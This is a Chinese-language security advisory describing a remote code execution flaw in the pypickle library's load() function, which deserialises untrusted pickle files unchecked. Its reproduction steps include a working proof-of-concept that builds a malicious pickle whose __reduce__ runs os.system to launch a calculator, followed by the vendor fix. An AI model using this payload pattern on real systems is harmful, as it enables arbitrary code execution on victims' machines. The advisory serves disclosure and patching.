### 关键漏洞信息 #### 漏洞描述 - **问题**: `pypickle.py` 中的 `load()` 函数使用了 Python 的 `pickle.load()` 来反序列化文件中的数据,但没有对输入进行验证或清理。 - **风险**: 如果攻击者提供一个恶意的 pickle 文件,当文件被加载时,可以执行任意代码,导致远程代码执行 (RCE) 漏洞。 #### 影响 - **任意代码执行** - **远程系统妥协** #### 受影响组件 - **文件**: `pypickle.py` - **函数**: `load()` - **问题**: 使用 `pickle.load()` 时未进行输入验证 #### 复现步骤 1. 克隆仓库: `git clone https://github.com/erdogant/pypickle.git` 2. 进入 `pypickle` 目录: `cd pypickle` 3. 创建恶意的 `malicious.pkl` 文件: ```python import pickle import os class Exploit: def __reduce__(self): return (os.system, ("gnome-calculator",)) # Windows 上改为 'calc.exe' with open("malicious.pkl", "wb") as f: pickle.dump(Exploit(), f) ``` 4. 创建 `run_exploit.py` 文件: ```python import pypickle pypickle.load("malicious.pkl") ``` 5. 运行 `run_exploit.py`: `python3 run_exploit.py` #### 解决方案 - 添加 `validate` 参数,默认为 `True`。当设置为 `True` 时,会检查高风险模块并阻止加载。 - 更新到最新版本 `v2.0.0`,使用命令 `pip install -U pypickle`。